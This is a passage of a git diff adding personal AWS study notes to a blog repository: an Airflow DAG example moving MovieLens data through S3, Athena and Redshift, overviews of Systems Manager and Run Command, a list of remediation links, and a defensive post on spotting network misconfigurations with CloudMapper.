EXTERNAL TABLE IF NOT EXISTS Demo_Athena_DB.ML_Latest_Small_Ratings ( + `userId` int, + `movieId` int, + `rating` int, + `timestamp` bigint + ) + ROW FORMAT SERDE 'org.apache.hadoop.hive.serde2.lazy.LazySimpleSerDe' + WITH SERDEPROPERTIES ( + 'serialization.format' = ',', + 'field.delim' = ',' + ) LOCATION 's3://pinwheeldemo1-pinwheeldagsbucketfeed0594-1bks69fq0utz/files/ml-latest-small/ratings.csv/ml-latest-small/' + TBLPROPERTIES ( + 'has_encrypted_data'='false', + 'skip.header.line.count'='1' + ); + """ + create_athena_tags_table_query=""" + CREATE EXTERNAL TABLE IF NOT EXISTS Demo_Athena_DB.ML_Latest_Small_Tags ( + `userId` int, + `movieId` int, + `tag` int, + `timestamp` bigint + ) + ROW FORMAT SERDE 'org.apache.hadoop.hive.serde2.lazy.LazySimpleSerDe' + WITH SERDEPROPERTIES ( + 'serialization.format' = ',', + 'field.delim' = ',' + ) LOCATION 's3://pinwheeldemo1-pinwheeldagsbucketfeed0594-1bks69fq0utz/files/ml-latest-small/tags.csv/ml-latest-small/' + TBLPROPERTIES ( + 'has_encrypted_data'='false', + 'skip.header.line.count'='1' + ); + """ + join_tables_athena_query=""" + SELECT REPLACE ( m.title , '"' , '' ) as title, r.rating + FROM demo_athena_db.ML_Latest_Small_Movies m + INNER JOIN (SELECT rating, movieId FROM demo_athena_db.ML_Latest_Small_Ratings WHERE rating > 4) r on m.movieId = r.movieId + """ + def download_zip(): + s3c = boto3.client('s3') + indata = requests.get(download_http) + n=0 + with zipfile.ZipFile(io.BytesIO(indata.content)) as z: + zList=z.namelist() + print(zList) + for i in zList: + print(i) + zfiledata = BytesIO(z.read(i)) + n += 1 + s3c.put_object(Bucket=s3_bucket_name, Key=s3_key+i+'/'+i, Body=zfiledata) + def clean_up_csv_fn(**kwargs): + ti = kwargs['task_instance'] + queryId = ti.xcom_pull(key='return_value', task_ids='join_athena_tables' ) + print(queryId) + athenaKey=athena_results+"join_athena_tables/"+queryId+".csv" + print(athenaKey) + cleanKey=athena_results+"join_athena_tables/"+queryId+"_clean.csv" + s3c = boto3.client('s3') + obj = s3c.get_object(Bucket=s3_bucket_name, Key=athenaKey) + infileStr=obj['Body'].read().decode('utf-8') + outfileStr=infileStr.replace('"e"', '') + outfile = StringIO(outfileStr) + s3c.put_object(Bucket=s3_bucket_name, Key=cleanKey, Body=outfile.getvalue()) + def s3_to_redshift(**kwargs): + ti = kwargs['task_instance'] + queryId = ti.xcom_pull(key='return_value', task_ids='join_athena_tables' ) + print(queryId) + athenaKey='s3://'+s3_bucket_name+"/"+athena_results+"join_athena_tables/"+queryId+"_clean.csv" + print(athenaKey) + sqlQuery="copy "+redshift_table_name+" from '"+athenaKey+"' iam_role 'arn:aws:iam::163919838948:role/myRedshiftRole' CSV IGNOREHEADER 1;" + print(sqlQuery) + rsd = boto3.client('redshift-data') + resp = rsd.execute_statement( + ClusterIdentifier=redshift_cluster, + Database=redshift_db, + DbUser=redshift_dbuser, + Sql=sqlQuery + ) + print(resp) + return "OK" + def create_redshift_table(): + rsd = boto3.client('redshift-data') + resp = rsd.execute_statement( + ClusterIdentifier=redshift_cluster, + Database=redshift_db, + DbUser=redshift_dbuser, + Sql="CREATE TABLE IF NOT EXISTS "+redshift_table_name+" (title character varying, rating int);" + ) + print(resp) + return "OK" + DEFAULT_ARGS = { + 'owner': 'airflow', + 'depends_on_past': False, + 'email': ['[email protected]'], + 'email_on_failure': False, + 'email_on_retry': False + } + with DAG( + dag_id='movie-list-dag', + default_args=DEFAULT_ARGS, + dagrun_timeout=timedelta(hours=2), + start_date=days_ago(2), + schedule_interval='*/10 * * * *', + tags=['athena','redshift'], + ) as dag: + check_s3_for_key = S3KeySensor( + task_id='check_s3_for_key', + bucket_key=s3_key, + wildcard_match=True, + bucket_name=s3_bucket_name, + s3_conn_id='aws_default', + timeout=20, + poke_interval=5, + dag=dag + ) + files_to_s3 = PythonOperator( + task_id="files_to_s3", + python_callable=download_zip + ) + create_athena_movie_table = AWSAthenaOperator(task_id="create_athena_movie_table",query=create_athena_movie_table_query, database=athena_db, output_location='s3://'+s3_bucket_name+"/"+athena_results+'create_athena_movie_table') + create_athena_ratings_table = AWSAthenaOperator(task_id="create_athena_ratings_table",query=create_athena_ratings_table_query, database=athena_db, output_location='s3://'+s3_bucket_name+"/"+athena_results+'create_athena_ratings_table') + create_athena_tags_table = AWSAthenaOperator(task_id="create_athena_tags_table",query=create_athena_tags_table_query, database=athena_db, output_location='s3://'+s3_bucket_name+"/"+athena_results+'create_athena_tags_table') + join_athena_tables = AWSAthenaOperator(task_id="join_athena_tables",query=join_tables_athena_query, database=athena_db, output_location='s3://'+s3_bucket_name+"/"+athena_results+'join_athena_tables') + create_redshift_table_if_not_exists = PythonOperator( + task_id="create_redshift_table_if_not_exists", + python_callable=create_redshift_table + ) + clean_up_csv = PythonOperator( + task_id="clean_up_csv", + python_callable=clean_up_csv_fn, + provide_context=True + ) + transfer_to_redshift = PythonOperator( + task_id="transfer_to_redshift", + python_callable=s3_to_redshift, + provide_context=True + ) + check_s3_for_key >> files_to_s3 >> create_athena_movie_table >> join_athena_tables >> clean_up_csv >> transfer_to_redshift + files_to_s3 >> create_athena_ratings_table >> join_athena_tables + files_to_s3 >> create_athena_tags_table >> join_athena_tables + files_to_s3 >> create_redshift_table_if_not_exists >> transfer_to_redshift +``` + + +- different tasks are created using operators like `PythonOperator`, for generic Python code, or `AWSAthenaOperator`, to use the integration with [Amazon Athena](https://aws.amazon.com/athena). +- To see how those tasks are connected in the workflow, you can see the latest few lines + +```py + check_s3_for_key >> files_to_s3 >> create_athena_movie_table >> join_athena_tables >> clean_up_csv >> transfer_to_redshift + files_to_s3 >> create_athena_ratings_table >> join_athena_tables + files_to_s3 >> create_athena_tags_table >> join_athena_tables + files_to_s3 >> create_redshift_table_if_not_exists >> transfer_to_redshift +``` + +- The Airflow code is [overloading](https://docs.python.org/3/reference/datamodel.html#emulating-numeric-types) the right shift `>>` operator in Python to create a dependency, +- meaning that the task on the left should be executed first, and the output passed to the task on the right. L +- Each of the four lines above is adding dependencies, and all evaluated together to execute the tasks in the right order. + +In the Airflow console +- a **graph view** of the DAG to have a clear representation of how tasks are executed: + +![pic](https://d2908q01vomqb2.cloudfront.net/da4b9237bacccdf19c0760cab7aec4a8359010b0/2020/11/17/mwaa-graph-view-1024x466.png) + +. diff --git a/_posts/01Cloud/01AWS/Management/SSM-RunCommand.md b/_posts/01Cloud/01AWS/Management/SSM-RunCommand.md new file mode 100644 index 00000000000..e493b7b7a16 --- /dev/null +++ b/_posts/01Cloud/01AWS/Management/SSM-RunCommand.md @@ -0,0 +1,93 @@ +--- +title: AWS - Management - SSM - Run Command +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Management] +tags: [AWS] +toc: true +image: +--- + +[toc] + + +- ref + - [aws doc](https://docs.aws.amazon.com/systems-manager/latest/userguide/setup-instance-profile.html) + - [如何有效操控管理多台 EC2](https://www.ecloudture.com/how-to-remotely-run-command-on-ec2-instance/) + +--- + + +# Systems Manager - Run Command + +--- + +## basic + + +AWS Systems Manager (SSM) 是一個集中管理 AWS 資源的服務,幫助使用者清楚掌握資源運作的狀況,且能執行 AWS 資源自動化處理,對於使用者來說,在管理上面擁有非常大的效益,可滿足合規及安全的要求。 +- 在 AWS SSM 服務下有分成 **營運管理**、**應用程式管理**、**動作與變更**、**Instance 和節點**及**共享資源** 等五個面向的功能, +- 在 **Instance 和節點** 的操作下,有以下重點功能: + + - Managed Instance: 可以看到透過 AWS SSM 管理的 EC2 Instance(需要在 Instance 上安裝 SSM Agent)。 + + - Session Manager: 不需要透過 SSH、Bastion Server 連線至 EC2,透過 HTTPS 協定連線至 EC2,幫助企業有效控管 Instance 存取權限。 + + - State Manager: 透過自動化程序讓 Instance 維持在定義的狀態,可定期去追蹤 Instance 是否有依照設置狀態下執行。 + + - Patch Manager: 自動修補 Instance 系統及應用程式的更新。 + + - Run Command: 以遠端的方式,透過 Command 安全地管理 Instance 的設定。 + + +## run command + +- 以遠端的方式,透過 Command 安全地管理 Instance 的設定。 +- remotely and securely manage the configuration of the managed instances at scale. +- perform on-demand changes like updating applications or running Linux shell scripts and Windows PowerShell commands on a target set of dozens or hundreds of instances. + + +## setup + + +### 前置作業 + +EC2 必須要具有 **AWS SSM 權限**及安裝 **SSM Agent** +- 如何在開機前事先安裝 SSM Agent,可以在創建 EC2 時,透過 User Data 達到此目的。 + +### 設置 + +> 透過 Command 一次對多台的 EC2 做軟體升級或是更改配置,所以這個時候就可以透過 **Run Command** 來達到此目的,不須 ssh 連線到每一台機器裡面去做操作。 + + +1. AWS SSM 控制台 > `Managed Instances`,即可看到有安裝 EC2 Agent 的 EC2 狀態 +2. 在左側導覽格中選擇 **Run Command**。 + - 然後選擇 **Run a command** 中,會看到許多官方預設提供的 **Command document** + - 在此範例使用 **AWS-RunShellScript** Command document. + +3. 選擇要對哪幾台 EC2 去做操作 + - **Specify instance tags** + - EC2 有設置 Tag, 使用者可以選擇對有這個 Tag 的 EC2 做操作。 + - **Choose instances manually** + - 目前 **Running** EC2 做操作。 + - 這些 Running 的 EC2 都必須要安裝 SSM Agent 及擁有 SSM Role 才能操作。 + - **Choose a resource group**, + - 可以選取是先建立好的 resource group。 + +4. 接下來要在 **Commands** 的部分,貼上要下的指令: + +5. 可以選擇將 **Command Output** 推到 **S3 Bucket** 或是 **CloudWatch log**。 + +6. 也能將 **Command Status** 透過 SNS 發送通知。 +7. 設定完成後即可按下 **Run**。 + - 這時候就在控制台畫面看到 **Run Command** 的結果,像是執行成功、失敗或 Timeout 以及 Instance 數量。 + + + + + + + + + + +--- diff --git a/_posts/01Cloud/01AWS/Management/SSM.md b/_posts/01Cloud/01AWS/Management/SSM.md new file mode 100644 index 00000000000..44dc8df1e94 --- /dev/null +++ b/_posts/01Cloud/01AWS/Management/SSM.md @@ -0,0 +1,402 @@ + + + + +[toc] + +- ref + - [AWS科普系列:使用EC2 Systems Manager](https://www.jianshu.com/p/7ba51af0a268) + + +--- + +# AWS Systems Manager + + +- a management service +- view and control of the infrastructure on AWS. + - a unified user interface to view operational data from multiple AWS services + - and automate operational tasks across the AWS resources. + - maintain security and compliance + - by scanning the managed instances + - and reporting on (or taking corrective action on) any policy violations it detects. + +- Systems Manager helps configure and maintain the managed instances. + - managed instance, machine that has been configured for use with Systems Manager. + - Supported machine types: Amazon EC2 instances, on-premises servers, and VMs, including VMs in other cloud environments. + - Supported operating system types: Windows Server, macOS, Raspbian, Linux distributions. + +- associate AWS resources together + - applying the same identifying resource tag to each of the associate AWS resources. + - then view operational data for these resources as a resource group + - help monitor and troubleshoot. + - example + - assign a resource tag of "Operation=North Region OS Patching" to following resources: + - A group of `EC2 instances` + - A group of `on-premises servers` in the own facility + - A `Systems Manager patch baseline`, specifies which patches to apply to the managed instances + - An `S3 bucket` to store patching operation log output + - A `Systems Manager maintenance window`, specifies the schedule for the patching operation + - After tagging the resources, view a consolidated dashboard in Systems Manager + - reports the status of all the resources that are part of the patching operation in the North region. + - If a problem arises with any of these resources, take corrective action immediately. + + +- Systems Manager supported AWS Regions + - AWS Systems Manager is available in the AWS Regions listed in Systems Manager service endpoints in the Amazon Web Services General Reference. + - Before start Systems Manager configuration process, ensure the service is available in each of the AWS Regions you want to use it in. + - For on-premises servers and VMs in the hybrid environment, choose the Region closest to the data center or computing environment. + + +> 公司一般会采取内网+域账号+动态口令+跳板机的方式来保证生产环境的安全。这套机制确实好用,但是也有一些问题,比如需要单独的服务器,耗费资源;大家共用跳板机,使得跳板机可能成为瓶颈。在云计算时代,跳板机不能很好地满足公有云环境的安全了。 + + + +![1376176-e508e38c19e24e2d](https://i.imgur.com/e7UPUxb.png) + +![1376176-3ae22c933900df6c](https://i.imgur.com/HumTX2q.png) + + +![INSTALLREMOTEAGENT_2](https://i.imgur.com/pmLG3TQ.png) + + + +--- + +## Capabilities in Systems Manager + +- Systems Manager is comprised of individual capabilities, which are grouped into five categories: + - Operations Management + - Application Management + - Change Management + - Node Management + - Shared Resources + +- This collection of capabilities is a powerful set of tools and features to perform operational tasks. + - For example: + - Group AWS resources together by any purpose or activity you choose + - such as application, environment, region, project, campaign, business unit, or software lifecycle. + - Centrally define the configuration options and policies for the managed instances. + - Centrally view, investigate, and resolve operational work items related to AWS resources. + - Automate or schedule a variety of maintenance and deployment tasks. + - Use and create runbook-style SSM documents that define the actions to perform on the managed instances. + - Run a command, with rate and error controls, that targets an entire fleet of managed instances. + - Securely connect to a managed instance with a single click, without having to open an inbound port or manage SSH keys. + - Separate the secrets and configuration data from the code by using parameters, with or without encryption, and then reference those parameters from a number of other AWS services. + - Perform automated inventory by collecting metadata about the Amazon EC2 and on-premises managed instances. Metadata can include information about applications, network configurations, and more. + - View consolidated inventory data from multiple AWS Regions and accounts that you manage. + - Quickly see which resources in the account are out of compliance and take corrective action from a centralized dashboard. + - View active summaries of metrics and alarms for the AWS resources. + - Systems Manager simplifies resource and application management, shortens the time to detect and resolve operational problems, and helps you operate and manage the AWS infrastructure securely at scale. + +--- + +## Operations Management +- a suite of capabilities that help you manage the AWS resources. + +- Explorer + - a customizable operations dashboard that reports information about the AWS resources. + - displays an aggregated view of operations data (OpsData) for the AWS accounts and across Regions. + - OpsData includes metadata about the EC2 instances, patch compliance details, and operational work items (OpsItems). + - Explorer provides context about how OpsItems are distributed across the business units or applications, how they trend over time, and how they vary by category. + - group and filter information in Explorer to focus on items that are relevant to you and that require action. + - When you identify high priority issues, use Systems Manager OpsCenter to run Automation runbooks and quickly resolve those issues. + +- OpsCenter + - provides a central location where operations engineers and IT professionals can view, investigate, and resolve operational work items (OpsItems) related to AWS resources. + - reduce mean time to resolution for issues impacting AWS resources. + - aggregates and standardizes OpsItems across services while providing contextual investigation data about each OpsItem, related OpsItems, and related resources. + - OpsCenter also provides Systems Manager Automation documents (runbooks) that you can use to quickly resolve issues. + - You can specify searchable, custom data for each OpsItem. + - You can also view automatically-generated summary reports about OpsItems by status and source. + +- CloudWatch Dashboards + - customizable home pages in the CloudWatch console + - monitor the resources in a single view, even those resources that are spread across different regions. + - create customized views of the metrics and alarms for the AWS resources. + +- Trusted Advisor & Personal Health Dashboard (PHD) + - Systems Manager hosts two online tools to help you provision the resources and monitor the account for health events. + - Trusted Advisor + - real time guidance to help you provision the resources following AWS best practices. + - The AWS Personal Health Dashboard + - provides information about AWS Health events that can affect the account. + - The information is presented in two ways: + - a dashboard that shows recent and upcoming events organized by category, + - and a full event log that shows all events from the past 90 days. + +--- + +## Application Management +- a suite of capabilities that help you manage the applications running in AWS + +- Application Manager + - helps you investigate and remediate issues with the AWS resources in the context of the applications. + - aggregates operations information from multiple AWS services and Systems Manager capabilities to a single AWS Management Console. + +- Resource Groups + - An AWS resource + - an entity you can work with in AWS, + - such as Systems Manager SSM documents, patch baselines, maintenance windows, parameters, and managed instances; an EC2 instance; an Amazon EBS volume; a security group; or an VPC. + - A resource group + - a collection of AWS resources that are all in the same AWS Region, and that match criteria provided in a query. + - build queries in the Resource Groups console, + - or pass them as arguments to Resource Groups commands in the AWS CLI. + - With Resource Groups, create a custom console that organizes and consolidates information based on criteria that you specify in tags. + - You can also use groups as the basis for viewing monitoring and configuration insights in AWS Systems Manager. + +- AppConfig + - create, manage, and quickly deploy application configurations. + - AppConfig supports controlled deployments to applications of any size. + - use AppConfig with applications hosted on EC2 instances, AWS Lambda, containers, mobile applications, or IoT devices. + - AppConfig includes validators. + - To prevent errors when deploying application configurations, + - provides a syntactic or semantic check to ensure that the configuration you want to deploy works as intended. + - During a configuration deployment, AppConfig monitors the application to ensure that the deployment is successful. + - If the system encounters an error or if the deployment triggers an alarm, AppConfig rolls back the change to minimize impact for the application users. + + +- Parameter Store + - provides secure, hierarchical storage for configuration data and secrets management. + - store data such as passwords, database strings, EC2 instance IDs and Amazon Machine Image (AMI) IDs, and license codes as parameter values. You can store values as plain text or encrypted data. You can then reference values by using the unique name you specified when you created the parameter. + + +--- + + +## Change Management + +- taking action against or changing the AWS resources. + +- Change Manager + - an enterprise change management framework + - requesting, approving, implementing, and reporting on operational changes to the application configuration and infrastructure. + - managing changes to both AWS resources and on-premises resources. + - single delegated administrator account using AWS Organizations, manage changes across multiple AWS accounts in multiple AWS Regions. + - local account, manage changes for a single AWS account. + +- Systems Manager Automation + - automate common maintenance and deployment tasks. + - create and update Amazon Machine Images, + - apply driver and agent updates, + - reset passwords on Windows Server instance, + - reset SSH keys on Linux instances, + - and apply OS patches or application updates. + +- Change Calendar + - set up date and time ranges when actions you specify may or may not be performed in the AWS account. + - for example, in Systems Manager Automation documents + - In Change Calendar, these ranges are called events. + - create a Change Calendar entry + - a Systems Manager document of the type `ChangeCalendar`. + - the document stores [iCalendar 2.0](https://icalendar.org/) data in plaintext format. + - Events that you add to the Change Calendar entry become part of the document. + +- Maintenance Windows + - set up recurring schedules for managed instances to run administrative tasks like installing patches and updates without interrupting business-critical operations. + + + +--- + + +## Node Management + +- managing the EC2 instances, the on-premises servers and VMs in the hybrid environment, and other types of AWS resources (nodes). + +- Systems Manager Configuration Compliance + - scan the fleet of managed instances for patch compliance and configuration inconsistencies. + - collect and aggregate data from multiple AWS accounts and Regions, + - and then drill down into specific resources that aren’t compliant. + - By default, displays compliance data about Patch Manager patching and State Manager associations. + - You can also customize the service and create the own compliance types based on the IT or business requirements. + +- Fleet Manager + - a capability of AWS Systems Manage + - a unified user interface (UI) experience that remotely manage the server fleet running on AWS, or on-premises. + - view the health and performance status of the entire server fleet from one console. + - gather data from individual instances to perform common troubleshooting and management tasks from the console. + - This includes viewing folder and file contents, Windows registry management, operating system user management, and more. + +### Managed Instances + - 可以看到透過 AWS SSM 管理的 EC2 Instance(需要在 Instance 上安裝 SSM Agent)。 + - Managed Instances + - any EC2 instance or on-premises machine (server/VM) in the hybrid environment that is configured for Systems Manager. + - set up managed instances + - install SSM Agent on the machines (if not installed by default) + - and configure IAM permissions. + - On-premises machines also require an activation code. + +- Inventory + - automates the process of collecting software inventory from managed instances. + - gather metadata about applications, files, components, patches, and more on the managed instances. + + +--- + +### Session Manager: +- AWS Systems Manager provides you safe, secure remote management of the instances at scale + - without logging into the servers, replacing the need for bastion hosts, SSH, or remote PowerShell. + - without the need to open inbound ports, maintain bastion hosts, or manage SSH keys. + - automating common administrative tasks across groups of instances + - such as registry edits, user management, and software and patch installations. + - manage the EC2 instances through an interactive one-click browser-based shell or through the AWS CLI. +- integration with AWS IAM + - can apply granular permissions to control the actions users can perform on instances. +- provides secure and auditable instance management + - All actions taken with Systems Manager are recorded by AWS CloudTrail, allowing you to audit changes throughout the environment. + +--- + +#### Systems Manager Run Command + - 以遠端的方式,透過 Command 安全地管理 Instance 的設定。 + - remotely and securely manage the configuration of the managed instances at scale. + - perform on-demand changes like updating applications or running Linux shell scripts and Windows PowerShell commands on a target set of dozens or hundreds of instances. + +--- + + +- Systems Manager State Manager + - automate the process of keeping the managed instances in a defined state. + - ensure that the instances are bootstrapped with specific software at startup, + - joined to a Windows domain (Windows Server instances only), + - or patched with specific software updates. + - 透過自動化程序讓 Instance 維持在定義的狀態,可定期去追蹤 Instance 是否有依照設置狀態下執行。 + + +- Patch Manager + - 自動修補 Instance 系統及應用程式的更新。 + - automate the process of patching the managed instances with both security related and other types of updates. + - apply patches for both operating systems and applications. (On Windows Server, application support is limited to updates for Microsoft applications.) This capability enables you to scan instances for missing patches and apply missing patches individually or to large groups of instances by using EC2 instance tags. Patch Manager uses patch baselines_, which can include rules for auto-approving patches within days of their release, as well as a list of approved and rejected patches. You can install security patches on a regular basis by scheduling patching to run as a Systems Manager maintenance window task, or you can patch the managed instances on demand at any time. For Linux operating systems, you can define the repositories that should be used for patching operations as part of the patch baseline. This allows you to ensure that updates are installed only from trusted repositories regardless of what repositories are configured on the instance. For Linux, you also have the ability to update any package on the instance, not just those that are classified as operating system security updates. For Windows Server, you can also use Patch Manager to update supported Microsoft applications. + +- Distributor + - Use Distributor to create and deploy packages to managed instances. Distributor lets you package the own software—or find AWS-provided agent software packages, such as **AmazonCloudWatchAgent**—to install on AWS Systems Manager managed instances. After you install a package for the first time, you can use Distributor to completely uninstall and reinstall a new package version, or perform an in-place update that adds new or changed files only. Distributor publishes resources, such as software packages, to AWS Systems Manager managed instances. + +- Hybrid Activations + - To set up servers and VMs in the hybrid environment as managed instances, you need to create a managed instance activation . After you complete the activation, you receive an activation code and ID. This code/ID combination functions like an Amazon EC2 access ID and secret key to provide secure access to the Systems Manager service from the managed instances. + + + +--- + + +## Shared Resources + +Systems Manager uses the following shared resources for managing and configuring the AWS resources. Choose the tabs to learn more. + +Documents + +A Systems Manager document (SSM document) defines the actions that Systems Manager performs. SSM document types include Command documents, which are used by State Manager and Run Command, and Automation documents, which are used by Systems Manager Automation. Systems Manager includes dozens of pre-configured documents that you can use by specifying parameters at runtime. Documents can be expressed in JSON or YAML, and include steps and parameters that you specify. + + +--- + + + +--- + + + +- straightforward to use. + - Access AWS Systems Manager from the Amazon EC2 console, select the instances that you want to manage, and define the management tasks you want to perform. + - no cost to manage both EC2 and on-premises resources. +- Enables automate configuration and ongoing management of systems at scale through a set of capability. + - automatically collect software inventory, apply OS patches, create system images, and configure Windows and Linux operating systems. + - These capabilities help you define and track system configurations, prevent drift, and maintain software compliance of EC2 and on-premises configurations. +- providing a management approach that is designed for the scale and agility of the cloud but extends to the on-premises data center + - AWS Systems Manager allows you to bridge the existing infrastructure with AWS. + +- centralize operational data from multiple AWS services and automate tasks across the AWS resources. +- can create logical groups of resources + - such as applications, different layers of an application stack, or production versus development environments. + - With Systems Manager, can select a resource group and view its recent API activity, resource configuration changes, related notifications, operational alerts, software inventory, and patch compliance status. + - can also take action on each resource group depending on operational needs. +- provides a central place to view and manage the AWS resources, can have complete visibility and control over operations. + - Centralized console and toolset for a wide variety of system management tasks. + - Designed for managing a large fleet of systems – tens or hundreds. +- SSM Agent enables System Manager features + - supports all OSs supported by OS as well as back to Windows Server 2003 and Raspbian . + - SSM Agent installed by default on recent AWS-provided base AMIs for Linux and Windows. + - Manages AWS-based and on-premises based systems via the agent. +- The AWS Systems Manager console integrates with AWS Resource Groups, and it offers grouping capabilities in addition to other native integrations. + + + +AWS Systems Manager feature + +Systems Manager Inventory: +- AWS Systems Manager collects information about instances and the software installed on them, + - helping you to understand the system configurations and installed applications. + - can collect data about applications, files, network configurations, Windows services, registries, server roles, updates, and any other system properties. +- The gathered data enables you to manage application assets, track licenses, monitor file integrity, discover applications not installed by a traditional installer, and more. + + +Configuration Compliance. +- AWS Systems Manager lets you scan the managed instances for patch compliance and configuration inconsistencies. +- can collect and aggregate data from multiple AWS accounts and Regions, and then drill down into specific resources that aren’t compliant. +- By default, AWS Systems Manager displays data about patching and associations. +- You can also customize the service and create the own compliance types based on the requirements. . + +Automation: +- AWS Systems Manager allows you to safely automate common and repetitive IT operations and management tasks across AWS resources. +- With Systems Manager, you can create JSON documents that specify a specific list of tasks or use community published documents. +- These doc can be executed directly through the AWS Management Console, CLIs, and SDKs, scheduled in a maintenance window, or triggered based on changes to AWS resources through Amazon CloudWatch Events. +- You can track the execution of each step in the documents as well as require approvals for each step. +- You can also incrementally roll out changes and automatically halt when errors occur. + + +Run Command: +- Use Systems Manager Run Command to remotely and securely manage the configuration of the managed instances at scale. +- Use Run Command to perform on-demand changes like updating applications or running Linux shell scripts and Windows PowerShell commands on a target set of dozens or hundreds of instances. + +--- + +Patch Manager: +- AWS Systems Manager helps you select and deploy operating system and software patches automatically across large groups of Amazon EC2 or on-premises instances. +- Through patch baselines, can set rules to auto-approve select categories of patches to be installed, such as operating system or high severity patches, and you can specify a list of patches that override these rules and are automatically approved or rejected. +- can also schedule maintenance windows for the patches so that they are only applied during preset times. +- Systems Manager helps ensure that the software is up-to-date and meets the compliance policies. + +Maintenance Windows: +- AWS Systems Manager lets you schedule windows of time to run administrative and maintenance tasks across the instances. +- This ensures that you can select a convenient and safe time to install patches and updates or make other configuration changes, improving the availability and reliability of the services and applications. + + +Distributor: +- Distributor enables to securely store and distribute software packages in the organization. +- can use Distributor with existing Systems Manager features like Run Command and State Manager to control the lifecycle of the packages running on the instances. + + +State Manager: +- AWS Systems Manager provides configuration management, helps maintain consistent configuration of Amazon EC2 or on-premises instances. +- can control configuration details + - such as server configurations, anti-virus definitions, firewall settings, and more. +- can define configuration policies for the servers through the AWS Management Console or use existing scripts, PowerShell modules, or Ansible playbooks directly from GitHub or Amazon S3 buckets. +- Systems Manager automatically applies the configurations across the instances at a time and frequency that you define. +- You can query Systems Manager at any time to view the status of the instance configurations, giving you on-demand visibility into the compliance status. + +Parameter Store: +- provides a centralized store to manage the configuration data, whether plain-text data such as database strings or secrets such as passwords. +- This allows you to separate the secrets and configuration data from the code. Parameters can be tagged and organized into hierarchies, helping you manage parameters more easily. +- For example, you can use the same parameter name, “db-string”, with a different hierarchical path, “dev/db-string” or “prod/db-string”, to store different values. +- Systems Manager is integrated with AWS Key Management Service (KMS), allowing you to automatically encrypt the data you store. +- can also control user and resource access to parameters using IAM. Parameters can be referenced through other AWS services, such as Amazon Elastic Container Service, AWS Lambda, and AWS CloudFormation. + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/Management/automation.md b/_posts/01Cloud/01AWS/Management/automation.md new file mode 100644 index 00000000000..cb35a369ec2 --- /dev/null +++ b/_posts/01Cloud/01AWS/Management/automation.md @@ -0,0 +1,28 @@ + +https://github.com/awsdocs/aws-cloudformation-user-guide/blob/main/doc_source/aws-resource-config-remediationconfiguration.md + + +https://www.reddit.com/r/aws/comments/cs329q/auto_remediate_ec2_and_s3_misconfigurations_with/ + +https://www.youtube.com/watch?v=X0ribZxevZw&ab_channel=AmazonWebServices + +https://asecure.cloud/a/ar_ssm_s3_bucket_versioning/ + +https://docs.aws.amazon.com/config/latest/developerguide/remediation.html#setup-autoremediation + + +https://stelligent.com/2019/10/16/automatically-remediate-non-compliant-aws-resources/ + + +https://awsfeed.com/whats-new/management-tools/using-aws-systems-manager-opscenter-and-aws-config-for-compliance-monitoring + +https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-automation.html + + +https://docs.aws.amazon.com/config/latest/developerguide/remediation.html + +https://www.youtube.com/watch?v=X0ribZxevZw&ab_channel=AmazonWebServices + +https://www.youtube.com/results?search_query=config+rule+application + +https://www.youtube.com/watch?v=CyyNlyAHs0A&feature=emb_title&ab_channel=AmazonWebServices diff --git a/_posts/01Cloud/01AWS/Network/2020-07-18-BadNetwork.md b/_posts/01Cloud/01AWS/Network/2020-07-18-BadNetwork.md new file mode 100644 index 00000000000..ac96dd943e2 --- /dev/null +++ b/_posts/01Cloud/01AWS/Network/2020-07-18-BadNetwork.md @@ -0,0 +1,83 @@ +--- +title: AWS - Network - BadNetwork +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Network] +tags: [AWS, Network, VPC] +toc: true +image: +--- + +- [BadNetwork](#badnetwork) + - [Misconfiguration 1: Unnecessary Service Exposure](#misconfiguration-1-unnecessary-service-exposure) + - [Misconfiguration 2: Soft Center](#misconfiguration-2-soft-center) + - [Misconfiguration 3: Bad Failover](#misconfiguration-3-bad-failover) + - [Misconfiguration 4: Typo in Security Group](#misconfiguration-4-typo-in-security-group) + +- ref + - [Spotting Misconfigurations With CloudMapper](https://duo.com/blog/spotting-misconfigurations-with-cloudmapper) + +--- + +# BadNetwork + + +--- + + +## Misconfiguration 1: Unnecessary Service Exposure + +![m1-demo-all-exposed](https://i.imgur.com/nG6RPDH.png) + +**all EC2s can connect to the ELBs which are public.** +- the "internal" web servers and databases can all be reached from 0.0.0.0/0, which means the public internet or anywhere. +- the bastion host really isn't providing much value here, because you can just connect directly to any of the systems. +- all of the EC2 instances can connect back to the ELBs. needlessly complex. +- In reality, everything can talk to everything, so a more accurate representation of the graph would be + +![m1-mod-demo-all-exposed](https://i.imgur.com/HeqH8f7.png) + +![m1-ec2-demo](https://i.imgur.com/G5gymM4.png) + +--- + +## Misconfiguration 2: Soft Center + +![m2-demo-soft-center](https://i.imgur.com/crDO901.png) + +**All resources can communicate with each other** +- default security group that allows access from that same security group and then applied this to all resources. +- The result is that only a few resources are public, which is good, but everything inside the network can talk to everything else. +- This network configuration can be bad because if an attacker gets inside the network they may be able to more easily move laterally to any other system. This rat's nest looking diagram can usually be spotted before the visualization is even generated because the "prepare" step of CloudMapper will show "n" nodes and roughly "2(n2)" connections. + + +--- + +## Misconfiguration 3: Bad Failover + +![m3-demo-bad-failover](https://i.imgur.com/Apk6wdr.png) + +**Architecture that will not be resilient to AZ failover** +- have availability zone failover, but part of the architecture will not be resilient. +- Multiple ELBs and RDS instances were set up, one in each AZ, but the EC2 running the web server only exists in one AZ. +- an "unbalanced" architecture that straddles multiple AZs or regions can sometimes be more easily spotted visually. + +--- + +## Misconfiguration 4: Typo in Security Group + +**Security Group is accidentally open to a /2 instead of a /32** +- instead of an external CIDR being labeled "SF Office", it has been labeled "1.1.1.1/2". The reason is that although the known CIDR for the SF Office was configured as "1.1.1.1/32", the Security Group has a typo that accidentally allows in anything in the whole "/2". + +- The result is that instead of 1 IP being granted access, roughly one billion IP addresses have been granted access. + + +![m4-demo-typo](https://i.imgur.com/9187m0q.png) + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/Network/2020-07-18-Network.md b/_posts/01Cloud/01AWS/Network/2020-07-18-Network.md new file mode 100644 index 00000000000..8663c49b1ae --- /dev/null +++ b/_posts/01Cloud/01AWS/Network/2020-07-18-Network.md @@ -0,0 +1,351 @@ +--- +title: AWS - Network +date: 2020-07-18 11:11:11 -0400 +categories: [00Basic, Network] +tags: [Basic, AWS, 